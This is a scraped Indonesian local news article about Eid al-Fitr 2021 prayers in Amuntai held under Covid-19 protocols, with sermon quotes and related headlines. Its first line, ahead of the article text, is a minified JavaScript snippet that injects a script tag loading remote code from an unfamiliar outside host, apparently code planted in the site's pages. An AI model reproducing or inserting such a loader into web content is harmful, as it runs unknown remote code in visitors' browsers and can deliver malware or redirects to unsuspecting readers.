(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Gema takbir berkumandang di tengah situasi pandemi Covid-19, antusias warga Amuntai menyambut gembira Hari Raya Idul Fitri 1442 Hijriah dengan mengikuti shalat id dengan protokol kesehatan.
Seperti dilakukan Bupati Hulu Sungai Utara (HSU) H Abdul Wahid HK bersama warga, sejak pukul 07.00 Wita sudah berdatangan ke Masjid Raya At Taqwa Amuntai, Kamis (13/5/2021).
Kendati pelaksanaan shalat sunah Idul Fitri tahun 2021 i, dilaksanakan dengan aturan pemerintah dalam disiplin protokol kesehatan.
Baca juga : 806 Warga Binaan Lapas Banjarbaru Dapat Remisi Idul Fitri
Jemaah shalat id diharuskan memakai masker, membawa sajadah masing-masing, mencuci tangan sebelum masuk masjid, jarak shaf pun telah ditentukan sesuai dengan protokol kesehatan Covid-19.
“Syukur Alhamdulillah, pada pagi hari yang penuh kemuliaan ini, kita semua masih diberi kesempatan oleh Allah Subhanahu wa ta’ala bisa bersujud, bersimpuh mengumandangkan Takbir, mengagungkan nama Allah, bertahmid, mengucap syukur, berterima kasih kepada Allah, dan bertahlil, mengesakan Allah Subhanahu wa ta’ala,” kata KH Sam’uni, khatib shalat id di Masjid Raya At Taqwa Amuntai.
Masih dalam khutbah, KH Sam’uni juga mengatakan bahwa Idul Fitri merupakan hari raya khusus bagi orang yang berpuasa.
“Id artinya hari raya, fathara artinya berbuka puasa, bagi orang-orang yang kemarin-kemarin menjalankan perintah Allah dengan berpuasa sebulan penuh, hari ini adalah hari raya berupa diperbolehkannya makan dan minum,” beber KH Sam’uni.
KH Sam’uni menambahkan bahwa setelah orang berpuasa dan membayarkan zakat fitrah, hari raya merupakan kabar gembira atas diterimanya amal orang yang sungguh-sungguh berpuasa, bertobat, shalat malam, shalat tarawih, i’tikaf, sedekah, dan lain sebagainya.
“Mudah-mudahan Allah Subhanahu wata’ala menghapus semua keburukan kita kemudian diganti dengan kebaikan-kebaikan,” harapnya.
Baca juga : Maryam Al Afifi, Gadis Palestina yang Senyum saat Dipukuli Tentara Israel
Sebelumnya, Bupati HSU H Abdul Wahid HK sudah jauh-jauh hari mengingatkan untuk pelaksanaan shalat Ied kepada warga khususnya pengelola masjid dan mushala diperbolehkan menyelenggarakan shalat Idul Fitri di tempat ibadah di lingkungan masing-masing dengan protokol kesehatan.
“Jadi kami mengimbau kalau terpaksa tidak bisa melaksanakan shalat Idul Fitri di rumah bersama keluarga, maka hendaknya dilaksanakan di tempat ibadah di lingkungan masing-masing,” pungkas Bupati Wahid.(kanalkalimantan.com/dew)
Maju Pilgub Kalsel Nasdem Punya 10 Kursi, Tinggal 1 Kursi Parpol Tambahan Read More
KANALKALIMANTAN.COM, BANJARBARU - Ribuan peserta didik program Pendidikan Kesetaraan (Paket) di Kota Banjarbaru resmi dikukuhkan… Read More
KANALKALIMANTAN.COM, JAKARTA - Badan Pemenangan Pemilu (Bappilu) DPP Partai Nasional Demokrat (Nasdem) mengeluarkan 7 rekomendasi… Read More
KANALKALIMANTAN.COM, AMUNTAI - Nenek Masniah (70) warga Desa Sungai Karias Kecamatan Amuntai Tengah, Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengelola Perpustakaan sekolah dan desa di Kabupaten Banjar Provinsi Kalimantan Selatan (Kalsel)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sahabat Bekantan Indonesia (SBI) Foundation menggelar peringatan Hari Bekantan 2024, Ahad (2/6/2024),… Read More
This website uses cookies.